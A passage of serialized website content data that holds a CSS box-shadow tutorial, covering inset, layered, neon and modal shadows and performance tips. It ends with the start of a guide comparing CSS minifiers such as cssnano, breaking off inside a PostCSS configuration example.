48299,48301,48303,48305,48307,48309,48311],{"class":1562,"line":889},[1560,48284,19187],{"class":1576},[1560,48286,19321],{"class":1576},[1560,48288,1670],{"class":1669},[1560,48290,42731],{"class":1576},[1560,48292,1670],{"class":1669},[1560,48294,18694],{"class":1576},[1560,48296,1688],{"class":1570},[1560,48298,5285],{"class":1576},[1560,48300,1459],{"class":1570},[1560,48302,5285],{"class":1576},[1560,48304,1459],{"class":1570},[1560,48306,5285],{"class":1576},[1560,48308,1459],{"class":1570},[1560,48310,19013],{"class":1576},[1560,48312,1744],{"class":1570},[1560,48314,48315],{"class":1562,"line":1710},[1560,48316,1585],{"class":1570},[16,48318,48319],{},"The three-tier pattern mirrors physical observation: a crisp shadow directly beneath the object, a medium zone of partial occlusion, and a faint wash of ambient occlusion.",[11,48321,48323],{"id":48322},"inset-shadows","Inset Shadows",[16,48325,48326],{},"Inset shadows render inside the element border. They create the visual impression of a surface pushed inward — ideal for active buttons, recessed inputs, and carved-out containers.",[135,48328,48330],{"className":1554,"code":48329,"language":1556,"meta":141,"style":141},"\u002F* Pressed button *\u002F\n.button:active {\n  box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.3);\n  transform: translateY(1px);\n}\n\n\u002F* Recessed input field *\u002F\n.input-field {\n  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.12);\n}\n",[143,48331,48332,48337,48343,48381,48397,48401,48405,48410,48417,48456],{"__ignoreMap":141},[1560,48333,48334],{"class":1562,"line":1563},[1560,48335,48336],{"class":1649},"\u002F* Pressed button *\u002F\n",[1560,48338,48339,48341],{"class":1562,"line":337},[1560,48340,19076],{"class":1566},[1560,48342,1571],{"class":1570},[1560,48344,48345,48347,48349,48351,48353,48355,48357,48359,48361,48363,48365,48367,48369,48371,48373,48375,48377,48379],{"class":1562,"line":343},[1560,48346,18679],{"class":1576},[1560,48348,1663],{"class":1570},[1560,48350,47512],{"class":1576},[1560,48352,13541],{"class":1576},[1560,48354,9426],{"class":1576},[1560,48356,1670],{"class":1669},[1560,48358,13574],{"class":1576},[1560,48360,1670],{"class":1669},[1560,48362,18694],{"class":1576},[1560,48364,1688],{"class":1570},[1560,48366,5285],{"class":1576},[1560,48368,1459],{"class":1570},[1560,48370,5285],{"class":1576},[1560,48372,1459],{"class":1570},[1560,48374,5285],{"class":1576},[1560,48376,1459],{"class":1570},[1560,48378,18724],{"class":1576},[1560,48380,1744],{"class":1570},[1560,48382,48383,48385,48387,48389,48391,48393,48395],{"class":1562,"line":365},[1560,48384,1720],{"class":1576},[1560,48386,1663],{"class":1570},[1560,48388,18845],{"class":1576},[1560,48390,1688],{"class":1570},[1560,48392,3585],{"class":1576},[1560,48394,1670],{"class":1669},[1560,48396,1744],{"class":1570},[1560,48398,48399],{"class":1562,"line":889},[1560,48400,1585],{"class":1570},[1560,48402,48403],{"class":1562,"line":1710},[1560,48404,1702],{"emptyLinePlaceholder":363},[1560,48406,48407],{"class":1562,"line":1717},[1560,48408,48409],{"class":1649},"\u002F* Recessed input field *\u002F\n",[1560,48411,48412,48415],{"class":1562,"line":1747},[1560,48413,48414],{"class":1566},".input-field",[1560,48416,1571],{"class":1570},[1560,48418,48419,48421,48423,48425,48427,48429,48431,48434,48436,48438,48440,48442,48444,48446,48448,48450,48452,48454],{"class":1562,"line":2507},[1560,48420,18679],{"class":1576},[1560,48422,1663],{"class":1570},[1560,48424,47512],{"class":1576},[1560,48426,13541],{"class":1576},[1560,48428,18868],{"class":1576},[1560,48430,1670],{"class":1669},[1560,48432,48433],{"class":1576}," 3",[1560,48435,1670],{"class":1669},[1560,48437,18694],{"class":1576},[1560,48439,1688],{"class":1570},[1560,48441,5285],{"class":1576},[1560,48443,1459],{"class":1570},[1560,48445,5285],{"class":1576},[1560,48447,1459],{"class":1570},[1560,48449,5285],{"class":1576},[1560,48451,1459],{"class":1570},[1560,48453,18782],{"class":1576},[1560,48455,1744],{"class":1570},[1560,48457,48458],{"class":1562,"line":2524},[1560,48459,1585],{"class":1570},[16,48461,48462],{},"Combine inset and outset shadows for elements that both sink into the surface and cast a subtle outer shadow:",[135,48464,48466],{"className":1554,"code":48465,"language":1556,"meta":141,"style":141},".input-group {\n  box-shadow:\n    inset 0 1px 3px rgba(0, 0, 0, 0.12),\n    0 1px 2px rgba(0, 0, 0, 0.05);\n}\n",[143,48467,48468,48474,48480,48515,48547],{"__ignoreMap":141},[1560,48469,48470,48472],{"class":1562,"line":1563},[1560,48471,33039],{"class":1566},[1560,48473,1571],{"class":1570},[1560,48475,48476,48478],{"class":1562,"line":337},[1560,48477,18679],{"class":1576},[1560,48479,19182],{"class":1570},[1560,48481,48482,48485,48487,48489,48491,48493,48495,48497,48499,48501,48503,48505,48507,48509,48511,48513],{"class":1562,"line":343},[1560,48483,48484],{"class":1576},"    inset",[1560,48486,13541],{"class":1576},[1560,48488,18868],{"class":1576},[1560,48490,1670],{"class":1669},[1560,48492,48433],{"class":1576},[1560,48494,1670],{"class":1669},[1560,48496,18694],{"class":1576},[1560,48498,1688],{"class":1570},[1560,48500,5285],{"class":1576},[1560,48502,1459],{"class":1570},[1560,48504,5285],{"class":1576},[1560,48506,1459],{"class":1570},[1560,48508,5285],{"class":1576},[1560,48510,1459],{"class":1570},[1560,48512,18782],{"class":1576},[1560,48514,19216],{"class":1570},[1560,48516,48517,48519,48521,48523,48525,48527,48529,48531,48533,48535,48537,48539,48541,48543,48545],{"class":1562,"line":365},[1560,48518,19187],{"class":1576},[1560,48520,18868],{"class":1576},[1560,48522,1670],{"class":1669},[1560,48524,9426],{"class":1576},[1560,48526,1670],{"class":1669},[1560,48528,18694],{"class":1576},[1560,48530,1688],{"class":1570},[1560,48532,5285],{"class":1576},[1560,48534,1459],{"class":1570},[1560,48536,5285],{"class":1576},[1560,48538,1459],{"class":1570},[1560,48540,5285],{"class":1576},[1560,48542,1459],{"class":1570},[1560,48544,19138],{"class":1576},[1560,48546,1744],{"class":1570},[1560,48548,48549],{"class":1562,"line":889},[1560,48550,1585],{"class":1570},[11,48552,48554],{"id":48553},"common-shadow-designs","Common Shadow Designs",[11,48556,48558],{"id":48557},"card-lift-on-hover","Card Lift on Hover",[135,48560,48562],{"className":1554,"code":48561,"language":1556,"meta":141,"style":141},".card {\n  transition: box-shadow 0.3s ease, transform 0.3s ease;\n  box-shadow:\n    0 1px 3px rgba(0, 0, 0, 0.1),\n    0 4px 12px rgba(0, 0, 0, 0.08);\n}\n\n.card:hover {\n  transform: translateY(-2px);\n  box-shadow:\n    0 4px 8px rgba(0, 0, 0, 0.12),\n    0 12px 32px rgba(0, 0, 0, 0.12);\n}\n",[143,48563,48564,48570,48592,48598,48630,48662,48666,48670,48676,48692,48698,48730,48762],{"__ignoreMap":141},[1560,48565,48566,48568],{"class":1562,"line":1563},[1560,48567,1567],{"class":1566},[1560,48569,1571],{"class":1570},[1560,48571,48572,48574,48576,48578,48580,48582,48584,48586,48588,48590],{"class":1562,"line":337},[1560,48573,18718],{"class":1576},[1560,48575,18721],{"class":1570},[1560,48577,18724],{"class":1576},[1560,48579,18727],{"class":1669},[1560,48581,18730],{"class":1576},[1560,48583,18956],{"class":1570},[1560,48585,18724],{"class":1576},[1560,48587,18727],{"class":1669},[1560,48589,18730],{"class":1576},[1560,48591,2228],{"class":1570},[1560,48593,48594,48596],{"class":1562,"line":343},[1560,48595,18679],{"class":1576},[1560,48597,19182],{"class":1570},[1560,48599,48600,48602,48604,48606,48608,48610,48612,48614,48616,48618,48620,48622,48624,48626,48628],{"class":1562,"line":365},[1560,48601,19187],{"class":1576},[1560,48603,18868],{"class":1576},[1560,48605,1670],{"class":1669},[1560,48607,48433],{"class":1576},[1560,48609,1670],{"class":1669},[1560,48611,18694],{"class":1576},[1560,48613,1688],{"class":1570},[1560,48615,5285],{"class":1576},[1560,48617,1459],{"class":1570},[1560,48619,5285],{"class":1576},[1560,48621,1459],{"class":1570},[1560,48623,5285],{"class":1576},[1560,48625,1459],{"class":1570},[1560,48627,46961],{"class":1576},[1560,48629,19216],{"class":1570},[1560,48631,48632,48634,48636,48638,48640,48642,48644,48646,48648,48650,48652,48654,48656,48658,48660],{"class":1562,"line":889},[1560,48633,19187],{"class":1576},[1560,48635,13574],{"class":1576},[1560,48637,1670],{"class":1669},[1560,48639,19321],{"class":1576},[1560,48641,1670],{"class":1669},[1560,48643,18694],{"class":1576},[1560,48645,1688],{"class":1570},[1560,48647,5285],{"class":1576},[1560,48649,1459],{"class":1570},[1560,48651,5285],{"class":1576},[1560,48653,1459],{"class":1570},[1560,48655,5285],{"class":1576},[1560,48657,1459],{"class":1570},[1560,48659,18711],{"class":1576},[1560,48661,1744],{"class":1570},[1560,48663,48664],{"class":1562,"line":1710},[1560,48665,1585],{"class":1570},[1560,48667,48668],{"class":1562,"line":1717},[1560,48669,1702],{"emptyLinePlaceholder":363},[1560,48671,48672,48674],{"class":1562,"line":1747},[1560,48673,18745],{"class":1566},[1560,48675,1571],{"class":1570},[1560,48677,48678,48680,48682,48684,48686,48688,48690],{"class":1562,"line":2507},[1560,48679,1720],{"class":1576},[1560,48681,1663],{"class":1570},[1560,48683,18845],{"class":1576},[1560,48685,1688],{"class":1570},[1560,48687,19759],{"class":1576},[1560,48689,1670],{"class":1669},[1560,48691,1744],{"class":1570},[1560,48693,48694,48696],{"class":1562,"line":2524},[1560,48695,18679],{"class":1576},[1560,48697,19182],{"class":1570},[1560,48699,48700,48702,48704,48706,48708,48710,48712,48714,48716,48718,48720,48722,48724,48726,48728],{"class":1562,"line":2529},[1560,48701,19187],{"class":1576},[1560,48703,13574],{"class":1576},[1560,48705,1670],{"class":1669},[1560,48707,13490],{"class":1576},[1560,48709,1670],{"class":1669},[1560,48711,18694],{"class":1576},[1560,48713,1688],{"class":1570},[1560,48715,5285],{"class":1576},[1560,48717,1459],{"class":1570},[1560,48719,5285],{"class":1576},[1560,48721,1459],{"class":1570},[1560,48723,5285],{"class":1576},[1560,48725,1459],{"class":1570},[1560,48727,18782],{"class":1576},[1560,48729,19216],{"class":1570},[1560,48731,48732,48734,48736,48738,48740,48742,48744,48746,48748,48750,48752,48754,48756,48758,48760],{"class":1562,"line":2534},[1560,48733,19187],{"class":1576},[1560,48735,19321],{"class":1576},[1560,48737,1670],{"class":1669},[1560,48739,42731],{"class":1576},[1560,48741,1670],{"class":1669},[1560,48743,18694],{"class":1576},[1560,48745,1688],{"class":1570},[1560,48747,5285],{"class":1576},[1560,48749,1459],{"class":1570},[1560,48751,5285],{"class":1576},[1560,48753,1459],{"class":1570},[1560,48755,5285],{"class":1576},[1560,48757,1459],{"class":1570},[1560,48759,18782],{"class":1576},[1560,48761,1744],{"class":1570},[1560,48763,48764],{"class":1562,"line":2542},[1560,48765,1585],{"class":1570},[16,48767,48768],{},"Keep the transition duration between 200ms and 300ms for a snappy feel.",[11,48770,48772],{"id":48771},"neon-glow","Neon Glow",[135,48774,48776],{"className":1554,"code":48775,"language":1556,"meta":141,"style":141},".neon {\n  background: #10B981;\n  box-shadow:\n    0 0 8px rgba(16, 185, 129, 0.6),\n    0 0 24px rgba(16, 185, 129, 0.3),\n    0 0 48px rgba(16, 185, 129, 0.15);\n}\n",[143,48777,48778,48785,48795,48801,48833,48863,48894],{"__ignoreMap":141},[1560,48779,48780,48783],{"class":1562,"line":1563},[1560,48781,48782],{"class":1566},".neon",[1560,48784,1571],{"class":1570},[1560,48786,48787,48789,48791,48793],{"class":1562,"line":337},[1560,48788,5665],{"class":1576},[1560,48790,1663],{"class":1570},[1560,48792,18255],{"class":1576},[1560,48794,2228],{"class":1570},[1560,48796,48797,48799],{"class":1562,"line":343},[1560,48798,18679],{"class":1576},[1560,48800,19182],{"class":1570},[1560,48802,48803,48805,48807,48809,48811,48813,48815,48817,48819,48822,48824,48827,48829,48831],{"class":1562,"line":365},[1560,48804,19187],{"class":1576},[1560,48806,13541],{"class":1576},[1560,48808,13490],{"class":1576},[1560,48810,1670],{"class":1669},[1560,48812,18694],{"class":1576},[1560,48814,1688],{"class":1570},[1560,48816,10057],{"class":1576},[1560,48818,1459],{"class":1570},[1560,48820,48821],{"class":1576},"185",[1560,48823,1459],{"class":1570},[1560,48825,48826],{"class":1576},"129",[1560,48828,1459],{"class":1570},[1560,48830,44082],{"class":1576},[1560,48832,19216],{"class":1570},[1560,48834,48835,48837,48839,48841,48843,48845,48847,48849,48851,48853,48855,48857,48859,48861],{"class":1562,"line":889},[1560,48836,19187],{"class":1576},[1560,48838,13541],{"class":1576},[1560,48840,18193],{"class":1576},[1560,48842,1670],{"class":1669},[1560,48844,18694],{"class":1576},[1560,48846,1688],{"class":1570},[1560,48848,10057],{"class":1576},[1560,48850,1459],{"class":1570},[1560,48852,48821],{"class":1576},[1560,48854,1459],{"class":1570},[1560,48856,48826],{"class":1576},[1560,48858,1459],{"class":1570},[1560,48860,18724],{"class":1576},[1560,48862,19216],{"class":1570},[1560,48864,48865,48867,48869,48872,48874,48876,48878,48880,48882,48884,48886,48888,48890,48892],{"class":1562,"line":1710},[1560,48866,19187],{"class":1576},[1560,48868,13541],{"class":1576},[1560,48870,48871],{"class":1576}," 48",[1560,48873,1670],{"class":1669},[1560,48875,18694],{"class":1576},[1560,48877,1688],{"class":1570},[1560,48879,10057],{"class":1576},[1560,48881,1459],{"class":1570},[1560,48883,48821],{"class":1576},[1560,48885,1459],{"class":1570},[1560,48887,48826],{"class":1576},[1560,48889,1459],{"class":1570},[1560,48891,19693],{"class":1576},[1560,48893,1744],{"class":1570},[1560,48895,48896],{"class":1562,"line":1717},[1560,48897,1585],{"class":1570},[16,48899,48900,48901,48904],{},"Neon effects use centered offsets (",[143,48902,48903],{},"0 0",") with colored shadows at decreasing alpha values. Three layers mimic real light falloff.",[11,48906,48908],{"id":48907},"modal-overlay","Modal Overlay",[135,48910,48912],{"className":1554,"code":48911,"language":1556,"meta":141,"style":141},".modal {\n  box-shadow:\n    0 4px 8px rgba(0, 0, 0, 0.1),\n    0 12px 32px rgba(0, 0, 0, 0.08),\n    0 24px 64px rgba(0, 0, 0, 0.06);\n  border-radius: 12px;\n}\n",[143,48913,48914,48920,48926,48958,48990,49022,49034],{"__ignoreMap":141},[1560,48915,48916,48918],{"class":1562,"line":1563},[1560,48917,48177],{"class":1566},[1560,48919,1571],{"class":1570},[1560,48921,48922,48924],{"class":1562,"line":337},[1560,48923,18679],{"class":1576},[1560,48925,19182],{"class":1570},[1560,48927,48928,48930,48932,48934,48936,48938,48940,48942,48944,48946,48948,48950,48952,48954,48956],{"class":1562,"line":343},[1560,48929,19187],{"class":1576},[1560,48931,13574],{"class":1576},[1560,48933,1670],{"class":1669},[1560,48935,13490],{"class":1576},[1560,48937,1670],{"class":1669},[1560,48939,18694],{"class":1576},[1560,48941,1688],{"class":1570},[1560,48943,5285],{"class":1576},[1560,48945,1459],{"class":1570},[1560,48947,5285],{"class":1576},[1560,48949,1459],{"class":1570},[1560,48951,5285],{"class":1576},[1560,48953,1459],{"class":1570},[1560,48955,46961],{"class":1576},[1560,48957,19216],{"class":1570},[1560,48959,48960,48962,48964,48966,48968,48970,48972,48974,48976,48978,48980,48982,48984,48986,48988],{"class":1562,"line":365},[1560,48961,19187],{"class":1576},[1560,48963,19321],{"class":1576},[1560,48965,1670],{"class":1669},[1560,48967,42731],{"class":1576},[1560,48969,1670],{"class":1669},[1560,48971,18694],{"class":1576},[1560,48973,1688],{"class":1570},[1560,48975,5285],{"class":1576},[1560,48977,1459],{"class":1570},[1560,48979,5285],{"class":1576},[1560,48981,1459],{"class":1570},[1560,48983,5285],{"class":1576},[1560,48985,1459],{"class":1570},[1560,48987,18711],{"class":1576},[1560,48989,19216],{"class":1570},[1560,48991,48992,48994,48996,48998,49000,49002,49004,49006,49008,49010,49012,49014,49016,49018,49020],{"class":1562,"line":889},[1560,48993,19187],{"class":1576},[1560,48995,18193],{"class":1576},[1560,48997,1670],{"class":1669},[1560,48999,48104],{"class":1576},[1560,49001,1670],{"class":1669},[1560,49003,18694],{"class":1576},[1560,49005,1688],{"class":1570},[1560,49007,5285],{"class":1576},[1560,49009,1459],{"class":1570},[1560,49011,5285],{"class":1576},[1560,49013,1459],{"class":1570},[1560,49015,5285],{"class":1576},[1560,49017,1459],{"class":1570},[1560,49019,18924],{"class":1576},[1560,49021,1744],{"class":1570},[1560,49023,49024,49026,49028,49030,49032],{"class":1562,"line":1710},[1560,49025,17294],{"class":1576},[1560,49027,1663],{"class":1570},[1560,49029,13566],{"class":1576},[1560,49031,1670],{"class":1669},[1560,49033,2228],{"class":1570},[1560,49035,49036],{"class":1562,"line":1717},[1560,49037,1585],{"class":1570},[16,49039,49040],{},"Modals sit at the highest elevation tier. Three layers ensure the panel separates clearly from the backdrop.",[11,49042,45268],{"id":45267},[16,49044,49045],{},"Shadows are GPU-accelerated, but they carry a cost when misused.",[193,49047,49048,49060],{},[196,49049,49050],{},[199,49051,49052,49055,49057],{},[202,49053,49054],{},"Concern",[202,49056,34974],{},[202,49058,49059],{},"Recommendation",[211,49061,49062,49076,49086,49096,49106],{},[199,49063,49064,49069,49071],{},[216,49065,49066,49067],{},"Animating ",[143,49068,1880],{},[216,49070,7639],{},[216,49072,20264,49073,49075],{},[143,49074,1891],{}," on a pseudo-element instead for smoother frames",[199,49077,49078,49081,49083],{},[216,49079,49080],{},"Large blur radius (50px+)",[216,49082,15446],{},[216,49084,49085],{},"Blur cost scales quadratically — keep blur under 40px",[199,49087,49088,49091,49093],{},[216,49089,49090],{},"Many shadow layers",[216,49092,7639],{},[216,49094,49095],{},"Limit to 3 layers per element",[199,49097,49098,49101,49103],{},[216,49099,49100],{},"Shadows on scrolled content",[216,49102,15466],{},[216,49104,49105],{},"Browsers cache rasterized shadows",[199,49107,49108,49113,49115],{},[216,49109,49110],{},[143,49111,49112],{},"will-change: box-shadow",[216,49114,15466],{},[216,49116,49117],{},"Only add when actively animating",[16,49119,49120,49121,49123],{},"The biggest performance trap is animating ",[143,49122,1880],{}," directly. The browser repaints the shadow on every frame. A smoother technique uses a pseudo-element:",[135,49125,49127],{"className":1554,"code":49126,"language":1556,"meta":141,"style":141},".card {\n  position: relative;\n}\n\n.card::after {\n  content: '';\n  position: absolute;\n  inset: 0;\n  border-radius: inherit;\n  box-shadow: 0 12px 32px rgba(0, 0, 0, 0.15);\n  opacity: 0;\n  transition: opacity 0.3s ease;\n}\n\n.card:hover::after {\n  opacity: 1;\n}\n",[143,49128,49129,49135,49145,49149,49153,49159,49169,49179,49189,49199,49235,49245,49259,49263,49267,49273,49283],{"__ignoreMap":141},[1560,49130,49131,49133],{"class":1562,"line":1563},[1560,49132,1567],{"class":1566},[1560,49134,1571],{"class":1570},[1560,49136,49137,49139,49141,49143],{"class":1562,"line":337},[1560,49138,5642],{"class":1576},[1560,49140,1663],{"class":1570},[1560,49142,19549],{"class":1576},[1560,49144,2228],{"class":1570},[1560,49146,49147],{"class":1562,"line":343},[1560,49148,1585],{"class":1570},[1560,49150,49151],{"class":1562,"line":365},[1560,49152,1702],{"emptyLinePlaceholder":363},[1560,49154,49155,49157],{"class":1562,"line":889},[1560,49156,19615],{"class":1566},[1560,49158,1571],{"class":1570},[1560,49160,49161,49163,49165,49167],{"class":1562,"line":1710},[1560,49162,5629],{"class":1576},[1560,49164,1663],{"class":1570},[1560,49166,5635],{"class":5634},[1560,49168,2228],{"class":1570},[1560,49170,49171,49173,49175,49177],{"class":1562,"line":1717},[1560,49172,5642],{"class":1576},[1560,49174,1663],{"class":1570},[1560,49176,5647],{"class":1576},[1560,49178,2228],{"class":1570},[1560,49180,49181,49183,49185,49187],{"class":1562,"line":1747},[1560,49182,5654],{"class":1576},[1560,49184,1663],{"class":1570},[1560,49186,5285],{"class":1576},[1560,49188,2228],{"class":1570},[1560,49190,49191,49193,49195,49197],{"class":1562,"line":2507},[1560,49192,17294],{"class":1576},[1560,49194,1663],{"class":1570},[1560,49196,19656],{"class":1576},[1560,49198,2228],{"class":1570},[1560,49200,49201,49203,49205,49207,49209,49211,49213,49215,49217,49219,49221,49223,49225,49227,49229,49231,49233],{"class":1562,"line":2524},[1560,49202,18679],{"class":1576},[1560,49204,1663],{"class":1570},[1560,49206,5285],{"class":1576},[1560,49208,19321],{"class":1576},[1560,49210,1670],{"class":1669},[1560,49212,42731],{"class":1576},[1560,49214,1670],{"class":1669},[1560,49216,18694],{"class":1576},[1560,49218,1688],{"class":1570},[1560,49220,5285],{"class":1576},[1560,49222,1459],{"class":1570},[1560,49224,5285],{"class":1576},[1560,49226,1459],{"class":1570},[1560,49228,5285],{"class":1576},[1560,49230,1459],{"class":1570},[1560,49232,19693],{"class":1576},[1560,49234,1744],{"class":1570},[1560,49236,49237,49239,49241,49243],{"class":1562,"line":2529},[1560,49238,19700],{"class":1576},[1560,49240,1663],{"class":1570},[1560,49242,5285],{"class":1576},[1560,49244,2228],{"class":1570},[1560,49246,49247,49249,49251,49253,49255,49257],{"class":1562,"line":2534},[1560,49248,18718],{"class":1576},[1560,49250,19713],{"class":1570},[1560,49252,18724],{"class":1576},[1560,49254,18727],{"class":1669},[1560,49256,18730],{"class":1576},[1560,49258,2228],{"class":1570},[1560,49260,49261],{"class":1562,"line":2542},[1560,49262,1585],{"class":1570},[1560,49264,49265],{"class":1562,"line":2558},[1560,49266,1702],{"emptyLinePlaceholder":363},[1560,49268,49269,49271],{"class":1562,"line":2570},[1560,49270,19776],{"class":1566},[1560,49272,1571],{"class":1570},[1560,49274,49275,49277,49279,49281],{"class":1562,"line":6638},[1560,49276,19700],{"class":1576},[1560,49278,1663],{"class":1570},[1560,49280,3585],{"class":1576},[1560,49282,2228],{"class":1570},[1560,49284,49285],{"class":1562,"line":11615},[1560,49286,1585],{"class":1570},[16,49288,49289,49290,49292],{},"This approach animates ",[143,49291,1891],{}," — a compositor-only property that runs at 60fps without repaints.",[11,49294,1355],{"id":1354},[41,49296,49297,49305,49308,49311,49314,49317],{},[44,49298,49299,49301,49302,49304],{},[143,49300,1880],{}," takes up to six values: h-offset, v-offset, blur, spread, color, and the optional ",[143,49303,47512],{}," keyword",[44,49306,49307],{},"Layer two or three shadows — one tight, one soft — for realistic depth",[44,49309,49310],{},"Use alpha-channel colors so shadows blend with their background naturally",[44,49312,49313],{},"Define a shadow scale with CSS custom properties for elevation consistency",[44,49315,49316],{},"Inset shadows simulate concave or pressed surfaces",[44,49318,49319],{},"Limit shadow layers to 3 and blur to 40px to avoid performance issues",[11,49321,286],{"id":285},[16,49323,49324,49325,49327],{},"Build and preview box shadows in real time with our ",[98,49326,20279],{"href":20278},". Adjust offsets, blur, spread, and color — then copy the generated CSS straight into your project.",[11,49329,321],{"id":320},[41,49331,49332,49345,49350],{},[44,49333,49334,49338,49339,1856,49341,49344],{},[98,49335,49337],{"href":49336},"\u002Fguides\u002Fcss-drop-shadow-tutorial","CSS Drop Shadow Tutorial"," — Compare ",[143,49340,1880],{},[143,49342,49343],{},"filter: drop-shadow()"," to choose the right one for images and SVG",[44,49346,49347,49349],{},[98,49348,2041],{"href":2040}," — Combine shadows with gradients, glow, and glass morphism for modern UI design",[44,49351,49352,49356],{},[98,49353,49355],{"href":49354},"\u002Fguides\u002Fcss-design-tips","CSS Design Tips"," — Practical techniques for pairing shadows with gradients and color",[2043,49358,49359],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":49361},[49362,49363,49364,49365,49366,49367,49368,49369,49370,49371,49372,49373,49374,49375,49376,49377,49378],{"id":47351,"depth":337,"text":47352},{"id":47366,"depth":337,"text":47367},{"id":47541,"depth":337,"text":47542},{"id":47619,"depth":337,"text":47620},{"id":47626,"depth":337,"text":47627},{"id":47681,"depth":337,"text":47682},{"id":47784,"depth":337,"text":47785},{"id":48195,"depth":337,"text":48196},{"id":48322,"depth":337,"text":48323},{"id":48553,"depth":337,"text":48554},{"id":48557,"depth":337,"text":48558},{"id":48771,"depth":337,"text":48772},{"id":48907,"depth":337,"text":48908},{"id":45267,"depth":337,"text":45268},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to CSS box-shadow syntax, layered shadows, and design patterns. Learn offset, blur, spread, and inset shadows.",{"immutable":363,"keywords":49381},[20323,49382],"css-box-shadow-guide",{"title":47346,"description":49379},"guides\u002Fcss-box-shadow-guide","bspirevmIjgWzwbbhIgpf3hk9smNPjHxvUlkal1WSbI",{"id":49387,"title":49388,"body":49389,"date":2070,"description":50557,"extension":361,"meta":50558,"navigation":363,"path":50559,"readingTime":1747,"seo":50560,"stem":50561,"__hash__":50562},"guides\u002Fguides\u002Fcss-bundling-tools.md","CSS Bundling and Minification Tools Compared",{"type":8,"value":49390,"toc":50529},[49391,49395,49398,49401,49405,49407,49410,49414,49428,49432,49443,49448,49531,49534,49537,49541,49555,49559,49570,49575,49643,49646,49649,49653,49670,49674,49685,49689,49792,49796,49798,49801,49805,49816,49820,49831,49836,49854,49858,49861,49865,49876,49880,49891,49895,49915,49919,49922,49926,49940,49944,49955,49960,50058,50062,50279,50283,50287,50294,50298,50303,50307,50312,50316,50321,50325,50332,50336,50340,50414,50418,50473,50475,50495,50497,50503,50505,50526],[11,49392,49394],{"id":49393},"why-your-tool-choice-matters","Why Your Tool Choice Matters",[16,49396,49397],{},"Not all CSS minifiers produce the same output. Differences in optimization aggressiveness, speed, and integration options mean the right tool depends on your project size, build pipeline, and performance goals.",[16,49399,49400],{},"This guide compares the most popular CSS minification tools so you can make an informed choice.",[11,49402,49404],{"id":49403},"standalone-minifiers","Standalone Minifiers",[33,49406,20497],{"id":20497},[16,49408,49409],{},"cssnano is the most widely used CSS minifier in the PostCSS ecosystem. It runs as a PostCSS plugin and applies over 30 optimizations by default.",[16,49411,49412],{},[47,49413,30193],{},[41,49415,49416,49419,49422,49425],{},[44,49417,49418],{},"Mature and battle-tested — used by Bootstrap, Tailwind, and millions of sites",[44,49420,49421],{},"Modular — enable or disable specific optimizations via preset configuration",[44,49423,49424],{},"Integrates seamlessly with any PostCSS pipeline",[44,49426,49427],{},"Safe defaults — optimizations that could break CSS are disabled by default",[16,49429,49430],{},[47,49431,30199],{},[41,49433,49434,49437,49440],{},[44,49435,49436],{},"Slower than newer tools on large files",[44,49438,49439],{},"Configuration can be confusing with many preset options",[44,49441,49442],{},"Some advanced optimizations require explicit opt-in",[16,49444,49445],{},[47,49446,49447],{},"Basic setup:",[135,49449,49453],{"className":49450,"code":49451,"language":49452,"meta":141,"style":141},"language-js shiki shiki-themes github-light github-dark","\u002F\u002F postcss.config.js\nmodule.exports = {\n  plugins: [\n    require('cssnano')({\n      preset: ['default', {\n        discardComments: { removeAll: true },\n        normalizeWhitespace: true\n      }]\n    })\n  ]\n}\n","js",[143,49454,49455,49459,49471,49475,49485,49496,49505,49512,49517,49522,49527],{"__ignoreMap":141},[1560,49456,49457],{"class":1562,"line":1563},[1560,49458,12003],{"class":1649},[1560,49460,49461,49463,49465,49467,49469],{"class":1562,"line":337},[1560,49462,11885],{"class":1576},[1560,49464,468],{"class":1570},[1560,49466,11890],{"class":1576},[1560,49468,8186],{"class":1669},[1560,49470,1571],{"class":1570},[1560,49472,49473],{"class":1562,"line":343},[1560,49474,12020],{"class":1570},[1560,49476,49477,49479,49481,49483],{"class":1562,"line":365},[1560,49478,12025],{"class":1566},[1560,49480,1688],{"class":1570},[1560,49482,21194],{"class":5634},[1560,49484,12033],{"class":1570},[1560,49486,49487,49490,49493],{"class":1562,"line":889},[1560,49488,49489],{"class":1570},"      preset: [",[1560,49491,49492],{"class":5634},"'default'",[1560,49494,49495],{"class":1570},", {\n",[1560,49497,49498,49501,49503],{"class":1562,"line":1710},[1560,49499,49500],{"class":1570},"        discardComments: { removeAll: ",[1560,49502,20533],{"class":1576},[1560,49504,21223],{"class":1570},[1560,49506,49507,49510],{"class":1562,"line":1717},[1560,49508,49509],{"class":1570},"        normalizeWhitespace: ",[1560,49511,23527],{"class":1576},[1560,49513,49514],{"class":1562,"line":1747},[1560,49515,49516],{"class":1570},"      }]\n",[1560,49518,49519],{"class":1562,"line":2507},[1560,49520,49521],{"class":1570},"    